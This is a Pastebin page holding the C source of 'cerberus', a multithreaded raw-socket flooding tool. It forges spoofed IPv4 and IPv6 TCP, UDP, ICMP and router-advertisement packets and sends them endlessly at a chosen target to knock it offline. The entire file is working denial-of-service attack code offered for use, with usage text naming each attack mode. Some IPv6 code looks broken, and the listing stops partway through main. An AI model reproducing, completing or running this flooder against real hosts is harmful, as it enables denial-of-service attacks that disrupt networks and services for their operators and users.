Advertisement
wtfbbq

shit.c

Mar 20th, 2015
1,436
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 34.57 KB | None | 0 0
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #ifndef _BSD_SOURCE
  5. #define _BSD_SOURCE
  6. #endif
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10. #include <netdb.h>
  11. #include <sys/types.h>
  12. #include <netinet/in_systm.h>
  13. #include <sys/socket.h>
  14. #include <sys/resource.h>
  15. #include <sys/wait.h>
  16. #include <string.h>
  17. #include <time.h>
  18. #include <signal.h>
  19. #ifndef __USE_BSD
  20. #define __USE_BSD
  21. #endif
  22. #ifndef __FAVOR_BSD
  23. #define __FAVOR_BSD
  24. #endif
  25. #include <netinet/in.h>
  26. #include <netinet/ip.h>
  27. #include <netinet/ip6.h>
  28. #include <netinet/ip_icmp.h>
  29. #include <netinet/icmp6.h>
  30. #include <netinet/tcp.h>
  31. #include <netinet/udp.h>
  32. #include <arpa/inet.h>
  33. #include <pthread.h>
  34. #define INET_ADDR 16
  35. #define INET6_ADDR 46
  36. #define TCP_FIN 1
  37. #define TCP_SYN 2
  38. #define TCP_RST 4
  39. #define TCP_PSH 8
  40. #define TCP_ACK 16
  41. #define TCP_URG 32
  42. #define TCP_ECE 64
  43. #define TCP_CWR 128
  44. #define TCP_NOF 256
  45. #define TCP_FRG 512
  46. #define TCP_BMB 1024
  47. #define UDP_BMB 2048
  48. #define RAW_BMB 4096
  49. #define UDP_CFF 8192
  50. #define ICMP_ECHO_G 16384
  51. #define ICMP6_ROUTERADV 134
  52. #define ICMP_HDRLEN 8
  53. #define TH_NOF 0x0
  54. #ifdef LINUX
  55. #define FIX(x) htons(x)
  56. #else
  57. #define FIX(x) (x)
  58. #endif
  59. void *send_tcp(void* arg);
  60. void *send_udp(void* arg);
  61. void *send_icmp(void* arg);
  62. void *send_icmp_ra(void* arg);
  63. void *send_bomb(void* arg);
  64. void handle_exit();
  65. unsigned short in_cksum(unsigned short *addr, int len);
  66. unsigned short xchecksum(unsigned short *buffer, int size);
  67. char *class2ip(const char *class);
  68. char *class2ip6(const char *class);
  69. void inject(struct ip *ip, u_char p, u_char len);
  70. void inject6(struct ip6_hdr *ip, u_char p, u_char len);
  71. u_long lookup(const char *host);
  72. int main(int argc, char *argv[]);
  73. #define MAX_THREADS 32768
  74. pthread_t attack_thread[MAX_THREADS];
  75. struct thread_data {
  76. int initialized; // valid thread?
  77. int flag4, flag6; // v4 or v6
  78. int start;
  79. int packets;
  80. unsigned int timeout; // attack timeout
  81. int thread;
  82. unsigned int bombsize; // size of connect bomb
  83. unsigned int datasize; // size of tcp data after header
  84. unsigned int window_size; // window size
  85. int socket; // rawsock
  86. int a_flags; // a_flags
  87. struct sockaddr_in destination4;
  88. struct sockaddr_in6 destination6;
  89. u_long dstaddr;
  90. u_char th_flags;
  91. int d_lport;
  92. int d_hport;
  93. int s_lport;
  94. int s_hport;
  95. char *src_class;
  96. char *dst_class;
  97. char SrcIP4[INET_ADDR];
  98. char SrcIP6[INET6_ADDR];
  99. char DestIP4[INET_ADDR];
  100. char DestIP6[INET6_ADDR];
  101. };
  102. struct thread_data thread_data_array[MAX_THREADS];
  103. void handle_exit () {
  104. int packets;
  105. packets = thread_data_array[1].packets + thread_data_array[2].packets + thread_data_array[4].packets + thread_data_array[8].packets + thread_data_array[16].packets
  106. + thread_data_array[32].packets + thread_data_array[64].packets + thread_data_array[128].packets + thread_data_array[256].packets
  107. + thread_data_array[512].packets + thread_data_array[1024].packets + thread_data_array[2048].packets + thread_data_array[4096].packets
  108. + thread_data_array[8192].packets + thread_data_array[16384].packets;
  109. printf ("Packeting completed, %d total, %d seconds, %d pps\n", packets, (int) time (NULL) -
  110. thread_data_array[0].start, packets / ((int) time (NULL) - thread_data_array[0].start));
  111. exit (0);
  112. }
  113. struct pseudo_hdr {
  114. u_long saddr, daddr;
  115. u_char mbz, ptcl;
  116. u_short tcpl;
  117. };
  118. struct checksum {
  119. struct pseudo_hdr pseudo;
  120. struct tcphdr tcp;
  121. };
  122. unsigned short
  123. in_cksum(unsigned short *addr, int len) {
  124. int nleft = len;
  125. int sum = 0;
  126. unsigned short *w = addr;
  127. unsigned short answer = 0;
  128. while (nleft > 1) {
  129. sum += *w++;
  130. nleft -= 2;
  131. }
  132. if (nleft == 1) {
  133. *(unsigned char *) (&answer) = *(unsigned char *)w;
  134. sum += answer;
  135. }
  136. sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  137. sum += (sum >> 16);
  138. answer = ~sum;
  139. return answer;
  140. }
  141. unsigned short
  142. xchecksum(unsigned short *buffer, int size) {
  143. unsigned int sum = 0;
  144. __asm__ __volatile__(
  145. "movl (%1), %0\n"
  146. "subl $4, %2\n"
  147. "jbe 2f\n"
  148. "addl 4(%1), %0\n"
  149. "adcl 8(%1), %0\n"
  150. "adcl 12(%1), %0\n"
  151. "1:\n"
  152. "adcl 16(%1), %0\n"
  153. "lea 4(%1), %1\n"
  154. "decl %2\n"
  155. "jne 1b\n"
  156. "adcl $0, %0\n"
  157. "movl %0, %2\n"
  158. "shrl $16, %0\n"
  159. "addw %w2, %w0\n"
  160. "adcl $0, %0\n"
  161. "notl %0\n"
  162. "2:\n"
  163. : "=r" (sum), "=r" (buffer), "=r" (size)
  164. : "1" (buffer), "2" (size)
  165. );
  166. return(sum);
  167. }
  168. char *src_class, *dst_class = NULL;
  169. char *class2ip(const char *class) {
  170. static char ip[INET_ADDR];
  171. int i, j;
  172. for (i = 0, j = 0; class[i] != '\0'; ++i)
  173. if (class[i] == '.')
  174. ++j;
  175. switch (j) {
  176. case 0:
  177. sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 245+1, (int) random() % 225+1, (int) random() % 215+1);
  178. break;
  179. case 1:
  180. sprintf(ip, "%s.%d.%d", class, (int) random() % 245+1, (int) random() % 215+1);
  181. break;
  182. case 2:
  183. sprintf(ip, "%s.%d", class, (int) random() % 245+1);
  184. break;
  185. default: strncpy(ip, class, INET_ADDR);
  186. break;
  187. }
  188. return ip;
  189. }
  190. char *class2ip6(const char *class) {
  191. static char ip[INET6_ADDR];
  192. uint16_t n;
  193. int x, y;
  194. for (x = 0, y = 0; class[x] != '\0'; ++x)
  195. if (class[x] == ':')
  196. ++y;
  197. int i;
  198. for (i = 0; i < 7; i++) {
  199. char hex[3][i];
  200. n = mrand48();
  201. n = rand();
  202. FILE * f = fopen("/dev/urandom", "rb");
  203. fread(&n, sizeof(uint16_t), 1, f);
  204. sprintf(hex[i], "%04X", n);
  205. if(i==0)
  206. strcpy(ip, class);
  207. strcat(ip, hex[i]);
  208. if(i<6)
  209. strcat(ip, "2001:");
  210. }
  211. return ip;
  212. }
  213. void
  214. inject(struct ip *ip, u_char p, u_char len) {
  215. ip->ip_hl = 5;
  216. ip->ip_v = 4;
  217. ip->ip_p = p;
  218. ip->ip_tos = 0x08; /* 0x08 */
  219. ip->ip_id = random();
  220. ip->ip_len = len;
  221. ip->ip_off = 0;
  222. ip->ip_ttl = 255;
  223. ip->ip_dst.s_addr = thread_data_array[0].dst_class != NULL ? inet_addr(class2ip(thread_data_array[0].dst_class)) : thread_data_array[0].dstaddr;
  224. ip->ip_src.s_addr = thread_data_array[0].src_class != NULL ? inet_addr(class2ip(thread_data_array[0].src_class)) : random();
  225. thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
  226. }
  227. void
  228. inject6(struct ip6_hdr *ip, u_char p, u_char len) {
  229. ip->ip6_ctlun.ip6_un1.ip6_un1_flow = htonl ((6 << 28) | (0 << 20) | 0);
  230. ip->ip6_ctlun.ip6_un1.ip6_un1_plen = htons( 8 + len );
  231. ip->ip6_ctlun.ip6_un1.ip6_un1_nxt = p;
  232. ip->ip6_ctlun.ip6_un1.ip6_un1_hlim = 255;
  233. inet_pton (AF_INET6, thread_data_array[0].DestIP6, &ip->ip6_dst);
  234. inet_pton (AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
  235. thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
  236. }
  237. u_long lookup(const char *host) {
  238. struct hostent *hp;
  239. if ( (hp = gethostbyname2(host,AF_INET)) == NULL) {
  240. perror("gethostbyname2");
  241. exit(-1);
  242. }
  243. return *(u_long *)hp->h_addr;
  244. }
  245. int resolve (const char *host) {
  246. struct addrinfo hints, *res;
  247. int errcode;
  248. char addrstr[100];
  249. void *ptr;
  250. memset (&hints, 0, sizeof (hints));
  251. hints.ai_family = PF_UNSPEC;
  252. hints.ai_socktype = SOCK_STREAM;
  253. hints.ai_flags |= AI_CANONNAME;
  254. errcode = getaddrinfo (host, NULL, &hints, &res);
  255. if (errcode != 0) {
  256. perror ("[-] getaddrinfo");
  257. exit(-1);
  258. }
  259. while (res) {
  260. inet_ntop (res->ai_family, res->ai_addr->sa_data, addrstr, 100);
  261. switch (res->ai_family) {
  262. case AF_INET:
  263. ptr = &((struct sockaddr_in *) res->ai_addr)->sin_addr;
  264. break;
  265. case AF_INET6:
  266. ptr = &((struct sockaddr_in6 *) res->ai_addr)->sin6_addr;
  267. break;
  268. }
  269. inet_ntop (res->ai_family, ptr, addrstr, 100);
  270. res = res->ai_next;
  271. }
  272. return 0;
  273. }
  274. //resolve(argv[1]); // example if you wish to use
  275.  
  276. void *send_tcp(void* arg) {
  277. struct thread_data *param2 = arg;
  278. struct checksum checksum;
  279. struct packet
  280. {
  281. struct ip ip;
  282. struct tcphdr tcp;
  283. char buf[param2->datasize];
  284. } packet;
  285. struct packet6
  286. {
  287. struct ip6_hdr ip;
  288. struct tcphdr tcp;
  289. char buf[param2->datasize];
  290. } packet6;
  291. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  292. signal(SIGALRM, handle_exit);
  293. alarm(thread_data_array[0].timeout);
  294. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  295. {
  296. do
  297. {
  298. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.tcp)+param2->datasize);
  299. inject(&packet.ip, IPPROTO_TCP, FIX(sizeof(packet)));
  300. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  301. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  302. checksum.pseudo.mbz = 0;
  303. checksum.pseudo.ptcl = IPPROTO_TCP;
  304. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  305. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  306. packet.tcp.th_win = htons(65535);
  307. packet.tcp.th_seq = random();
  308. //packet.tcp.th_x2 = 4;
  309. if (param2->th_flags == TH_ACK || param2->a_flags == TCP_FRG)
  310. packet.tcp.th_ack = random();
  311. else
  312. packet.tcp.th_ack = 0;
  313. if(param2->a_flags == TCP_FRG)
  314. {
  315. packet.tcp.th_flags = (rand()%(TH_SYN-TH_FIN))+TH_FIN;
  316. packet.tcp.th_off = sizeof(packet.tcp) / 4;
  317. }
  318. else
  319. {
  320. packet.tcp.th_flags = param2->th_flags;
  321. packet.tcp.th_off = 5;
  322. }
  323. if (param2->th_flags == TH_URG || param2->a_flags == TCP_FRG)
  324. packet.tcp.th_urp = htons(sizeof(packet));
  325. else
  326. packet.tcp.th_urp = 0;
  327. packet.tcp.th_sport = thread_data_array[0].s_lport == 0 ?
  328. random () :
  329. htons(thread_data_array[0].s_lport + (random() %
  330. (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  331. packet.tcp.th_dport = thread_data_array[0].d_lport == 0 ?
  332. random () :
  333. htons(thread_data_array[0].d_lport + (random() %
  334. (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  335. checksum.tcp = packet.tcp;
  336. packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  337. param2->packets++;
  338. } while ( sendto(param2->socket, &packet, (sizeof packet),0, (struct sockaddr *)&thread_data_array[0].destination4,
  339. sizeof(thread_data_array[0].destination4)) );
  340. }
  341. if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  342. {
  343. do
  344. {
  345. //memset(&packet6, 0, sizeof packet6);
  346. memset(&packet6, 0x0, sizeof(packet.ip)+sizeof(packet.tcp)+param2->datasize);
  347. inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  348. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  349. checksum.pseudo.mbz = 0;
  350. checksum.pseudo.ptcl = IPPROTO_TCP;
  351. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  352. packet6.tcp.th_win = htons(65535);
  353. packet6.tcp.th_seq = random();
  354. if (param2->th_flags == TH_ACK || param2->a_flags == TCP_FRG)
  355. packet.tcp.th_ack = random();
  356. else
  357. packet.tcp.th_ack = 0;
  358. if(param2->a_flags == TCP_FRG)
  359. {
  360. packet.tcp.th_flags = (rand()%(TH_SYN-TH_FIN))+TH_FIN;
  361. packet.tcp.th_off = sizeof(packet.tcp) / 4;
  362. }
  363. else
  364. {
  365. packet.tcp.th_flags = param2->th_flags;
  366. packet.tcp.th_off = 5;
  367. }
  368. if (param2->th_flags == TH_URG || param2->a_flags == TCP_FRG)
  369. packet.tcp.th_urp = htons(sizeof(packet));
  370. else
  371. packet.tcp.th_urp = 0;
  372. packet6.tcp.th_sport = thread_data_array[0].s_lport == 0 ?
  373. random () :
  374. htons(thread_data_array[0].s_lport + (random() %
  375. (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  376. packet6.tcp.th_dport = thread_data_array[0].d_lport == 0 ?
  377. random () :
  378. htons(thread_data_array[0].d_lport + (random() %
  379. (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  380. checksum.tcp = packet.tcp;
  381. packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  382. param2->packets++;
  383. } while ( sendto(param2->socket, &packet6.tcp, (sizeof packet6), 0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  384. }
  385. return 0;
  386. }
  387. void *send_udp(void* arg) {
  388. struct thread_data *param2 = arg;
  389. struct packet
  390. {
  391. struct ip ip;
  392. struct udphdr udp;
  393. char buf[param2->datasize];
  394. } packet;
  395. struct packet6
  396. {
  397. struct ip6_hdr ip;
  398. struct udphdr udp;
  399. char buf[param2->datasize];
  400. } packet6;
  401. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  402. signal(SIGALRM, handle_exit);
  403. alarm(thread_data_array[0].timeout);
  404. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  405. {
  406. do
  407. {
  408. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.udp));
  409. inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  410. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  411. packet.udp.uh_sport = thread_data_array[0].s_lport == 0 ?
  412. random () :
  413. htons(thread_data_array[0].s_lport + (random() %
  414. (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  415. packet.udp.uh_dport = thread_data_array[0].d_lport == 0 ?
  416. random () :
  417. htons(thread_data_array[0].d_lport + (random() %
  418. (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  419. packet.udp.uh_ulen = htons(sizeof packet.udp);
  420. packet.udp.uh_sum = 0;
  421. packet.udp.uh_sum = xchecksum((void *)&packet, sizeof(packet));
  422. param2->packets++;
  423. } while ( sendto(param2->socket, &packet, (sizeof packet), 0, (struct sockaddr *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)) );
  424. }
  425. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  426. {
  427. do
  428. {
  429. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.udp));
  430. inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  431. packet6.udp.uh_sport = thread_data_array[0].s_lport == 0 ?
  432. random () :
  433. htons(thread_data_array[0].s_lport + (random() %
  434. (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  435. packet6.udp.uh_dport = thread_data_array[0].d_lport == 0 ?
  436. random () :
  437. htons(thread_data_array[0].d_lport + (random() %
  438. (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  439. packet6.udp.uh_ulen = htons(sizeof packet6.udp);
  440. packet6.udp.uh_sum = 0;
  441. packet6.udp.uh_sum = xchecksum((void *)&packet6, sizeof(packet6));
  442. param2->packets++;
  443. } while ( sendto(param2->socket, &packet6, (sizeof packet6), 0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  444. }
  445. return 0;
  446. }
  447. void *send_icmp(void* arg)
  448. {
  449. struct thread_data *param2 = arg;
  450. struct packet
  451. {
  452. struct ip ip;
  453. struct icmp icmp;
  454. } packet;
  455. struct packet6
  456. {
  457. struct ip6_hdr ip;
  458. struct icmp6_hdr icmp;
  459. } packet6;
  460. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  461. signal(SIGALRM, handle_exit);
  462. alarm(thread_data_array[0].timeout);
  463. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  464. {
  465. do
  466. {
  467. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.icmp));
  468. inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  469. packet.ip.ip_sum = xchecksum((void *)&packet.ip, sizeof(packet.ip));
  470. packet.icmp.icmp_type = ICMP_ECHO;
  471. packet.icmp.icmp_code = 0;
  472. packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
  473. packet.icmp.icmp_id = random() % 255;
  474. packet.icmp.icmp_seq = random() % 255;
  475. param2->packets++;
  476. } while ( sendto( param2->socket, &packet, (sizeof packet),0, (struct sockaddr *)&thread_data_array[0].destination4,
  477. sizeof(thread_data_array[0].destination4)) );
  478. }
  479. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  480. {
  481. do
  482. {
  483. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.icmp));
  484. inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  485. packet6.icmp.icmp6_type = ICMP6_ECHO_REQUEST;
  486. packet6.icmp.icmp6_code = 0;
  487. packet6.icmp.icmp6_cksum = 0;
  488. packet6.icmp.icmp6_cksum = xchecksum((void *)&packet6, sizeof(packet6));
  489. packet6.icmp.icmp6_id = random();
  490. packet6.icmp.icmp6_seq = random();
  491. param2->packets++;
  492. } while ( sendto( param2->socket, &packet6.icmp, (sizeof packet6),0, (struct sockaddr *)&thread_data_array[0].destination6,
  493. sizeof(thread_data_array[0].destination6)) );
  494. }
  495. return 0;
  496. }
  497.  
  498. void *send_icmp_ra(void* arg) {
  499. struct thread_data *param2 = arg;
  500. struct packet6
  501. {
  502. struct ip6_hdr ip;
  503. struct icmp6_hdr icmp;
  504. } packet6;
  505. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  506. signal(SIGALRM, handle_exit);
  507. alarm(thread_data_array[0].timeout);
  508. if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  509. do {
  510. memset(&packet6, 0, sizeof(packet6.ip)+sizeof(packet6.icmp));
  511. inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  512. packet6.icmp.icmp6_type = ICMP6_ROUTERADV;
  513. packet6.icmp.icmp6_code = 0;
  514. packet6.icmp.icmp6_cksum = 0;
  515. packet6.icmp.icmp6_cksum = xchecksum((void *)&packet6, sizeof(packet6));
  516. packet6.icmp.icmp6_id = random();
  517. packet6.icmp.icmp6_seq = random();
  518. param2->packets++;
  519. } while ( sendto( param2->socket, &packet6.icmp, (sizeof packet6),0, (struct sockaddr *)&thread_data_array[0].destination6,
  520. sizeof(thread_data_array[0].destination6)) );
  521. }
  522. return 0;
  523. }
  524. void *send_bomb(void* arg) {
  525. struct thread_data *param2 = arg;
  526. struct checksum checksum;
  527. struct packet
  528. {
  529. struct ip ip;
  530. struct tcphdr tcp;
  531. struct udphdr udp;
  532. char buf[param2->bombsize];
  533. } packet;
  534. struct packet6
  535. {
  536. struct ip6_hdr ip;
  537. struct tcphdr tcp;
  538. struct udphdr udp;
  539. char buf[param2->bombsize];
  540. } packet6;
  541. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  542. {
  543. if(param2->a_flags == RAW_BMB)
  544. param2->socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  545. }
  546. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  547. {
  548. if(param2->a_flags == RAW_BMB)
  549. param2->socket = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
  550. }
  551. int i;
  552. for (i = sizeof(packet) + 1; i < (param2->bombsize); i++)
  553. {
  554. packet.buf[i] = '\x00';
  555. }
  556. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  557. connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
  558. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  559. connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
  560. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  561. signal(SIGALRM, handle_exit);
  562. alarm(thread_data_array[0].timeout);
  563. do
  564. {
  565. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  566. {
  567. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)
  568. {
  569. memset(&packet, 0, sizeof packet);
  570. inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  571. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  572. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  573. checksum.pseudo.mbz = 0;
  574. if(param2->a_flags == TCP_BMB)
  575. checksum.pseudo.ptcl = IPPROTO_TCP;
  576. else if(param2->a_flags == RAW_BMB)
  577. checksum.pseudo.ptcl = IPPROTO_RAW;
  578. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  579. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  580. packet.tcp.th_win = htons(65535);
  581. packet.tcp.th_seq = random();
  582. packet.tcp.th_off = 5;
  583. //thread_data_array[0].destination4.sin_port = htons(113);
  584. checksum.tcp = packet.tcp;
  585. //packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  586. }
  587. else if(param2->a_flags == UDP_BMB)
  588. {
  589. memset(&packet, 0, sizeof packet);
  590. inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  591. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  592. packet.udp.uh_ulen = htons(sizeof packet.udp);
  593. packet.udp.uh_sum = 0;
  594. }
  595. }
  596. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  597. {
  598. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)
  599. {
  600. memset(&packet6, 0, sizeof packet6);
  601. inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  602. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  603. checksum.pseudo.mbz = 0;
  604. if(param2->a_flags == TCP_BMB)
  605. checksum.pseudo.ptcl = IPPROTO_TCP;
  606. else if(param2->a_flags == RAW_BMB)
  607. checksum.pseudo.ptcl = IPPROTO_RAW;
  608. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  609. packet6.tcp.th_win = htons(65535);
  610. packet6.tcp.th_seq = random();
  611. } else if(param2->a_flags == UDP_BMB) {
  612. memset(&packet6, 0, sizeof packet6);
  613. inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  614. packet6.udp.uh_ulen = htons(sizeof packet6.udp);
  615. packet6.udp.uh_sum = 0;
  616. }
  617. }
  618. param2->packets++;
  619. } while ( send(param2->socket, &packet, sizeof(packet), 0) );
  620. return 0;
  621. }
  622. const char *banner_name = "\e[1;37m(\e[0m\e[0;31mcerberus\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mbloodbath\e[0m\e[1;37m)\e[0m";
  623. static void
  624. usage(const char *argv0) {
  625. printf("%s \n", banner_name);
  626. printf(" -U UDP    attack                   \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  627. printf(" -I ICMP   attack                   \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  628. printf(" -R Router attack                   \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  629. printf(" -T TCP  attack                 \e[1;37m(\e[0m0:FIN   1: SYN\e[1;37m)\e[0m\n");
  630. printf("                                \e[1;37m(\e[0m2:RST   3:PUSH\e[1;37m)\e[0m\n");
  631. printf("                                \e[1;37m(\e[0m4:ACK   5: URG\e[1;37m)\e[0m\n");
  632. printf("                                \e[1;37m(\e[0m6:ECE   7: CWR\e[1;37m)\e[0m\n");
  633. printf("                                \e[1;37m(\e[0m8:NOF   9:FRAG\e[1;37m)\e[0m\n");
  634. printf(" -B BMB attack [type,size]   \e[1;37m[\e[0m0:TCP 1:UDP 2:RAW\e[1;37m]\e[0m\n");
  635. printf(" -h destination ip                  \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  636. printf(" -d destination class               \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  637. printf(" -s source class/ip                     \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  638. printf(" -p destination port range [start,end]  \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  639. printf(" -q source port range [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  640. printf(" -t timeout                         \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  641. printf(" -w window size [ 1-65535 ]             \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  642. printf("\e[1mUsage\e[0m: %s -4 -6 [-U -I -T -B -h -d -s -p -q -t]\n", argv0);
  643. exit(-1);
  644. }
  645. int
  646. main(int argc, char *argv[]) {
  647. int i = 0, n;
  648. int on = 1;
  649. struct sockaddr_in DestAddress4;
  650. struct sockaddr_in6 DestAddress6;
  651. thread_data_array[0].a_flags = 0;
  652. thread_data_array[0].window_size = 0;
  653. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  654. thread_data_array[i].a_flags = 0;
  655. }
  656. while ( (n = getopt(argc, argv, "46T:B:IRUh:d:s:t:p:q:w:")) != -1) {
  657. char *p;
  658. unsigned int bombsize = 0;
  659. unsigned int datasize = 0;
  660. unsigned int window_size = 0;
  661. switch (n)
  662. {
  663. case '4':
  664. thread_data_array[0].flag4 = 1;
  665. break;
  666. case '6':
  667. thread_data_array[0].flag6 = 1;
  668. break;
  669. case 'T':
  670. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  671. datasize = 4;
  672. if(datasize == 0)
  673. datasize = atoi(p + 1);
  674. if(datasize > 4096)
  675. datasize = 4096;
  676. switch (atoi(optarg))
  677. {
  678. case 0:
  679. thread_data_array[TCP_FIN].initialized = 1;
  680. thread_data_array[0].a_flags |= TCP_FIN;
  681. thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
  682. thread_data_array[TCP_FIN].datasize = datasize;
  683. break;
  684. case 1:
  685. thread_data_array[TCP_SYN].initialized = 1;
  686. thread_data_array[0].a_flags |= TCP_SYN;
  687. thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  688. thread_data_array[TCP_SYN].datasize = datasize;
  689. break;
  690. case 2:
  691. thread_data_array[TCP_RST].initialized = 1;
  692. thread_data_array[0].a_flags |= TCP_RST;
  693. thread_data_array[TCP_RST].a_flags |= TCP_RST;
  694. thread_data_array[TCP_RST].datasize = datasize;
  695. break;
  696. case 3:
  697. thread_data_array[TCP_PSH].initialized = 1;
  698. thread_data_array[0].a_flags |= TCP_PSH;
  699. thread_data_array[TCP_PSH].a_flags |= TCP_PSH;
  700. thread_data_array[TCP_PSH].datasize = datasize;
  701. break;
  702. case 4:
  703. thread_data_array[TCP_ACK].initialized = 1;
  704. thread_data_array[0].a_flags |= TCP_ACK;
  705. thread_data_array[TCP_ACK].a_flags |= TCP_ACK;
  706. thread_data_array[TCP_ACK].datasize = datasize;
  707. break;
  708. case 5:
  709. thread_data_array[TCP_URG].initialized = 1;
  710. thread_data_array[0].a_flags |= TCP_URG;
  711. thread_data_array[TCP_URG].a_flags |= TCP_URG;
  712. thread_data_array[TCP_URG].datasize = datasize;
  713. break;
  714. case 6:
  715. thread_data_array[TCP_ECE].initialized = 1;
  716. thread_data_array[0].a_flags |= TCP_ECE;
  717. thread_data_array[TCP_ECE].a_flags |= TCP_ECE;
  718. thread_data_array[TCP_ECE].datasize = datasize;
  719. break;
  720. case 7:
  721. thread_data_array[TCP_CWR].initialized = 1;
  722. thread_data_array[0].a_flags |= TCP_CWR;
  723. thread_data_array[TCP_CWR].a_flags |= TCP_CWR;
  724. thread_data_array[TCP_CWR].datasize = datasize;
  725. break;
  726. case 8:
  727. thread_data_array[TCP_NOF].initialized = 1;
  728. thread_data_array[0].a_flags |= TCP_NOF;
  729. thread_data_array[TCP_NOF].a_flags |= TCP_NOF;
  730. thread_data_array[TCP_NOF].datasize = datasize;
  731. break;
